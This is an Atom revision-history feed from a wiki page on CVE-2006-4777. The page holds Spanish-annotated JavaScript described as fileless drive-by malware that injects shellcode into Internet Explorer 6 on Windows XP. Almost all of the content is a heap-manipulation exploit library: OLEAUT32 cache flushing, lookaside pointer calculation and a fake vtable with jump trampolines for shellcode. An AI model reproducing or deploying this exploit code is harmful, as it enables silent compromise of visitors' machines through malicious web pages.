<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2006-4777_Internet_Explorer_6.0_SP1%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2006-4777 Internet Explorer 6.0 SP1緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2006-4777_Internet_Explorer_6.0_SP1%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2006-4777_Internet_Explorer_6.0_SP1%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T20:10:48Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2006-4777_Internet_Explorer_6.0_SP1%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=840&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== &lt;pre&gt; # js-driveby-download-CVE-2006-4777 malware del lado del cliente de explotacion de vulnerabilidad de internet explorer 6.0 SP1 en windows xp SP2.  No requiere d...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2006-4777_Internet_Explorer_6.0_SP1%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=840&amp;oldid=prev"/>
		<updated>2021-04-01T03:18:00Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== &amp;lt;pre&amp;gt; # js-driveby-download-CVE-2006-4777 malware del lado del cliente de explotacion de vulnerabilidad de internet explorer 6.0 SP1 en windows xp SP2.  No requiere d...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# js-driveby-download-CVE-2006-4777&lt;br /&gt;
malware del lado del cliente de explotacion de vulnerabilidad de internet explorer 6.0 SP1 en windows xp SP2. &lt;br /&gt;
No requiere de consentimiento por parte del usuario y no descarga ningun archivo.&lt;br /&gt;
Injeccion de Codigo Shell en la RAM desde JavaScript con IE en Windows XP.&lt;br /&gt;
&lt;br /&gt;
Fileless, drive-by-download, client side malware.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==PilaLib.js==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function pilaLib() {&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
pilaLib.ie.prototype.cadenaHex = function(numeroHexadecimal, anchoBytes)&lt;br /&gt;
{&lt;br /&gt;
    var digitos = &amp;quot;0123456789ABCDEF&amp;quot;;&lt;br /&gt;
    var cadenaHexadec = digitos.substr(numeroHexadecimal &amp;amp; 0xF, 1);&lt;br /&gt;
    while (numeroHexadecimal &amp;gt; 0xF) {&lt;br /&gt;
        numeroHexadecimal = numeroHexadecimal &amp;gt;&amp;gt;&amp;gt; 4;&lt;br /&gt;
        cadenaHexadec = digitos.substr(numeroHexadecimal &amp;amp; 0xF, 1) + cadenaHexadec;&lt;br /&gt;
    }&lt;br /&gt;
    var anchoBytes = (anchoBytes ? anchoBytes : 0);&lt;br /&gt;
    while (cadenaHexadec.length &amp;lt; anchoBytes)&lt;br /&gt;
        cadenaHexadec = &amp;quot;0&amp;quot; + cadenaHexadec;&lt;br /&gt;
    return cadenaHexadec;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
pilaLib.ie.prototype.direccion = function(direccion) {&lt;br /&gt;
    return unescape(&amp;quot;%u&amp;quot; + this.cadenaHex(direccion &amp;amp; 0xFFFF, 4) + &amp;quot;%u&amp;quot; + this.cadenaHex((direccion &amp;gt;&amp;gt; 16) &amp;amp; 0xFFFF, 4));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
pilaLib.ie.prototype.escribeInts32Bits = function(numeroBytesBloque, etiquetaBloque) {&lt;br /&gt;
    var tamanio;&lt;br /&gt;
    // Calculate the allocation size&lt;br /&gt;
    if (typeof numeroBytesBloque == &amp;quot;string&amp;quot; || numeroBytesBloque instanceof String)&lt;br /&gt;
        tamanio = 4 + numeroBytesBloque.length*2 + 2;    // len + string data + null terminator&lt;br /&gt;
    else&lt;br /&gt;
        tamanio = numeroBytesBloque;&lt;br /&gt;
    // Make sure that the size is valid&lt;br /&gt;
    if ((tamanio &amp;amp; 0xf) != 0)&lt;br /&gt;
        throw &amp;quot;Allocation size &amp;quot; + tamanio + &amp;quot; must be a multiple of 16&amp;quot;;&lt;br /&gt;
    // Create an array for this tag if doesn't already exist&lt;br /&gt;
    if (this.memoria[etiquetaBloque] === undefined)&lt;br /&gt;
        this.memoria[etiquetaBloque] = new Array();&lt;br /&gt;
    if (typeof numeroBytesBloque == &amp;quot;string&amp;quot; || numeroBytesBloque instanceof String) {&lt;br /&gt;
        // Allocate a new block with strdup of the string argument&lt;br /&gt;
        this.memoria[etiquetaBloque].push(numeroBytesBloque.substr(0, numeroBytesBloque.length));&lt;br /&gt;
    }&lt;br /&gt;
    else {&lt;br /&gt;
        // Allocate the block&lt;br /&gt;
        this.memoria[etiquetaBloque].push(this.rellena((numeroBytesBloque-6)/2));&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
pilaLib.ie.prototype.liberaInts32Bits = function(etiqueta) {&lt;br /&gt;
    delete this.memoria[etiqueta];&lt;br /&gt;
    &lt;br /&gt;
    // Run the garbage collector&lt;br /&gt;
    CollectGarbage();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
pilaLib.ie.prototype.limpiaCache = function() {&lt;br /&gt;
    this.depur(&amp;quot;Flushing the OLEAUT32 cache&amp;quot;);&lt;br /&gt;
    // Free the maximum size blocks and push out all smaller blocks&lt;br /&gt;
    this.liberaInts32Bits(&amp;quot;oleaut32&amp;quot;);&lt;br /&gt;
    &lt;br /&gt;
    // Allocate the maximum sized blocks again, emptying the cache&lt;br /&gt;
    for (var i = 0; i &amp;lt; 6; i++) {&lt;br /&gt;
        this.escribeInts32Bits(32, &amp;quot;oleaut32&amp;quot;);&lt;br /&gt;
        this.escribeInts32Bits(64, &amp;quot;oleaut32&amp;quot;);&lt;br /&gt;
        this.escribeInts32Bits(256, &amp;quot;oleaut32&amp;quot;);&lt;br /&gt;
        this.escribeInts32Bits(32768, &amp;quot;oleaut32&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
//perdemos la referencia al objeto o string, pero su contenido queda guardado en memoria y reubicado por el recol basur&lt;br /&gt;
pilaLib.ie.prototype.libera = function(etiqueta) {&lt;br /&gt;
    // Free the blocks with the OLEAUT32 free function&lt;br /&gt;
    this.liberaInts32Bits(etiqueta);&lt;br /&gt;
    // Flush the OLEAUT32 cache&lt;br /&gt;
    this.limpiaCache();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
//----------------------------------------------------------&lt;br /&gt;
//----------------------PUBLICAS----------------------------&lt;br /&gt;
&lt;br /&gt;
pilaLib.ie.prototype.recolectorBasura = function() {&lt;br /&gt;
	CollectGarbage();&lt;br /&gt;
    this.limpiaCache();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
pilaLib.ie = function(tamanioBloqueMaximo, basePila) {&lt;br /&gt;
    this.tamanioBloqueMaximo = (tamanioBloqueMaximo ? tamanioBloqueMaximo : 65535);&lt;br /&gt;
    this.basePila = (basePila ? basePila : 0x150000);&lt;br /&gt;
    // Allocate a padding string that uses maxAlloc bytes&lt;br /&gt;
    this.textoRelleno = &amp;quot;AAAA&amp;quot;;&lt;br /&gt;
    while (4 + this.textoRelleno.length*2 + 2 &amp;lt; this.tamanioBloqueMaximo) {&lt;br /&gt;
        this.textoRelleno += this.textoRelleno;&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Create an array for storing references to allocated memory&lt;br /&gt;
    this.memoria = new Array();&lt;br /&gt;
    // Call flushOleaut32() once to allocate the maximum size blocks&lt;br /&gt;
    this.limpiaCache();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
pilaLib.ie.prototype.rellena = function(longitud) {&lt;br /&gt;
    if (longitud &amp;gt; this.textoRelleno.length)&lt;br /&gt;
        throw &amp;quot;Requested padding string length &amp;quot; + longitud + &amp;quot;, only &amp;quot; + this.textoRelleno.length + &amp;quot; available&amp;quot;;&lt;br /&gt;
    return this.textoRelleno.substr(0, longitud);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
//en C++ los objetos se guardan en una lista de nodos de 48 bytes que se llaman lista de tablas virtuales&lt;br /&gt;
pilaLib.ie.prototype.creaPunteroListaTablas = function(cadenaTablaVirtual)&lt;br /&gt;
{&lt;br /&gt;
    var tamanio;&lt;br /&gt;
    // Calculate the allocation size&lt;br /&gt;
    if (typeof cadenaTablaVirtual == &amp;quot;string&amp;quot; || cadenaTablaVirtual instanceof String)&lt;br /&gt;
        tamanio = 4 + cadenaTablaVirtual.length*2 + 2;    // len + string data + null terminator&lt;br /&gt;
    else&lt;br /&gt;
        tamanio = cadenaTablaVirtual;&lt;br /&gt;
    // Make sure that the size is valid&lt;br /&gt;
    if ((tamanio &amp;amp; 0xf) != 0)&lt;br /&gt;
        throw &amp;quot;Allocation size &amp;quot; + tamanio + &amp;quot; must be a multiple of 16&amp;quot;;&lt;br /&gt;
    if (tamanio+8 &amp;gt;= 1024)&lt;br /&gt;
        throw(&amp;quot;Maximum lookaside block tamanio is 1008 bytes&amp;quot;);&lt;br /&gt;
    // The lookahead array starts at heapBase + 0x688. It contains a 48 byte&lt;br /&gt;
    // structure for each block size + header size in 8 byte increments.&lt;br /&gt;
	&lt;br /&gt;
	//la lista de tablas contiene paquetes, en cada uno se guarda una tabla y su cabecera aniadida de 8 bytes&lt;br /&gt;
	//cada paquete tiene x nodos(es su representacion en memoria).cada nodo es de 48 bytes y guarda solo un marco de su paquete&lt;br /&gt;
	//Un marco son 8 bytes del paquete, asi que un supuesto paquete de 16 bytes = 8tabla+8cabecera tendria dos nodos, &lt;br /&gt;
	//cada uno guardaria un marco de 8bytes, el primer nodo guardaria el marco con la info de la tabla y el segundo el marco con la cabecera&lt;br /&gt;
	//ademas cada nodo guarda informacion extra que no nos importa(esos 40 bytes extra)&lt;br /&gt;
	//es decir, un paquete ocupa = tamanioTabla+8(cabecera) =  en este caso 1016bytes = tamanioPaqueteB&lt;br /&gt;
	//y se guarda en memoria en marcos de 8bytes, tamanioPaqueteM = tamanioPaqueteB/8 = 127 marcos&lt;br /&gt;
	//y estos se guardan en nodos de tamanioNodo=tamanioPaqueteM*48 = en este caso 6096 bytes&lt;br /&gt;
	//asi la lista de nodos ocupa = ((tamanioTabla+8)/8)*48 bytes&lt;br /&gt;
    return this.basePila + 0x688 + ((tamanio+8)/8)*48;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
//crea un objeto falso con codigo ensamblador que ejecuta el codigo concha&lt;br /&gt;
pilaLib.ie.prototype.creaTabVirt = function(codigoConcha, direccionSaltoEjecucion, tamanio) {&lt;br /&gt;
    var tamanio = (tamanio ? tamanio : 1008);&lt;br /&gt;
    //asegura que el tamanio de la tabla es valido&lt;br /&gt;
    if ((tamanio &amp;amp; 0xf) != 0)&lt;br /&gt;
        throw &amp;quot;el tamanio de la Vtable &amp;quot; + tamanio + &amp;quot; debe ser multiplo de 16&amp;quot;;&lt;br /&gt;
    if (codigoConcha.length*2 &amp;gt; tamanio-138)&lt;br /&gt;
        throw(&amp;quot;el tamanio maximo del codigo concha es &amp;quot; + (tamanio-138) + &amp;quot; bytes&amp;quot;);&lt;br /&gt;
    //Construye la tabla virtual que ira emplazada en nuestra lista tablas virtuales de bloques de 1008&lt;br /&gt;
    //&lt;br /&gt;
    //funcionSuma = add[eax]; add[eax]         funcionResta = sub[eax], al;sub[eax], al      funcionSalto=nop, nop, [exc+8]+124&lt;br /&gt;
    //&lt;br /&gt;
    // lookaside ptr  jmp +124  addr of jmp ecx  sub [eax], al*2  shellcode       null&lt;br /&gt;
    // 4 bytes        4 bytes   124 bytes        4 bytes          size-138 bytes  2 bytes&lt;br /&gt;
    // funcionSuma  funcionSalto  31xdirSalto   funcionResta  shellcode+relleno  null&lt;br /&gt;
    // 124bytes tienen la dir de salto 31 veces repetida y seguida&lt;br /&gt;
	&lt;br /&gt;
	// 3 funciones para ejecutar el salto: nop, nop, [exc+8]+124&lt;br /&gt;
    var tablaVirtual = unescape(&amp;quot;%u9090%u7ceb&amp;quot;)   // nop, nop, jmp + 124&lt;br /&gt;
    for (var i = 0; i &amp;lt; 124/4; i++)&lt;br /&gt;
        tablaVirtual += this.direccion(direccionSaltoEjecucion);&lt;br /&gt;
    // If the vtable is the only entry on the lookaside, the first 4 bytes will&lt;br /&gt;
    // be 00 00 00 00, which disassembles as two add [eax], al instructions.&lt;br /&gt;
    // The jmp ecx trampoline will jump back to the beginning of the vtable and&lt;br /&gt;
    // execute the add [eax], al instructions. We need to use two sub [eax], al&lt;br /&gt;
    // instructions to fix the heap.&lt;br /&gt;
    tablaVirtual += unescape(&amp;quot;%u0028%u0028&amp;quot;) +    // two sub [eax], al instructions&lt;br /&gt;
              codigoConcha + pila.rellena((tamanio-138)/2 - codigoConcha.length);&lt;br /&gt;
    return tablaVirtual;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
//reserva memoria&lt;br /&gt;
pilaLib.ie.prototype.escribeEnMemoria = function(numeroBytesBloque, etiquetaBloque) {&lt;br /&gt;
    var tamanio;&lt;br /&gt;
    // Calculate the allocation size&lt;br /&gt;
    if (typeof numeroBytesBloque == &amp;quot;string&amp;quot; || numeroBytesBloque instanceof String)&lt;br /&gt;
        tamanio = 4 + numeroBytesBloque.length*2 + 2;    // len + string data + null terminator&lt;br /&gt;
    else&lt;br /&gt;
        tamanio = numeroBytesBloque;&lt;br /&gt;
    // Make sure that the size is valid&lt;br /&gt;
    if (tamanio == 32 || tamanio == 64 || tamanio == 256 || tamanio == 32768)&lt;br /&gt;
        throw &amp;quot;Allocation sizes &amp;quot; + tamanio + &amp;quot; cannot be flushed out of the OLEAUT32 cache&amp;quot;;&lt;br /&gt;
    // Allocate the block with the OLEAUT32 allocator&lt;br /&gt;
    this.escribeInts32Bits(numeroBytesBloque, etiquetaBloque);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
pilaLib.ie.prototype.guardaTabla = function(tabla, numBloques) {&lt;br /&gt;
    var tamanio;&lt;br /&gt;
    // Calculate the allocation size&lt;br /&gt;
    if (typeof tabla == &amp;quot;string&amp;quot; || tabla instanceof String)&lt;br /&gt;
        tamanio = 4 + tabla.length*2 + 2;    // len + string data + null terminator&lt;br /&gt;
    else&lt;br /&gt;
        tamanio = tabla;&lt;br /&gt;
    // Make sure that the size is valid&lt;br /&gt;
    if ((tamanio &amp;amp; 0xf) != 0)&lt;br /&gt;
        throw &amp;quot;Allocation size &amp;quot; + tamanio + &amp;quot; must be a multiple of 16&amp;quot;;&lt;br /&gt;
    if (tamanio+8 &amp;gt;= 1024)&lt;br /&gt;
        throw(&amp;quot;Maximum lookaside block size is 1008 bytes&amp;quot;);&lt;br /&gt;
    var numBloques = (numBloques ? numBloques : 1);&lt;br /&gt;
    for (var i = 0; i &amp;lt; numBloques; i++)&lt;br /&gt;
        this.escribeEnMemoria(tabla, &amp;quot;tablaAliberar&amp;quot;);&lt;br /&gt;
    this.libera(&amp;quot;tablaAliberar&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
pilaLib.ie.prototype.guardaBloqueInjector = function(contenidoBloqueInjector, numFilas) {&lt;br /&gt;
    var numFilas = (numFilas ? numFilas : 1);&lt;br /&gt;
    for (var i = 0; i &amp;lt; numFilas; i++) {&lt;br /&gt;
        this.escribeEnMemoria(contenidoBloqueInjector,&amp;quot;e&amp;quot;);//relleno&lt;br /&gt;
        this.escribeEnMemoria(contenidoBloqueInjector, &amp;quot;bloqueAliberar&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
    this.escribeEnMemoria(contenidoBloqueInjector,&amp;quot;e&amp;quot;);//relleno&lt;br /&gt;
    this.libera(&amp;quot;bloqueAliberar&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
//depura sin usar la pila de STRINGs de la RAM&lt;br /&gt;
pilaLib.ie.prototype.depur = function(msg) {&lt;br /&gt;
    void(Math.atan2(0xbabe, msg));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
pilaLib.ie.prototype.depurar = function(enable) {&lt;br /&gt;
    if (enable == true)&lt;br /&gt;
        void(Math.atan(0xbabe));&lt;br /&gt;
    else&lt;br /&gt;
        void(Math.asin(0xbabe));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>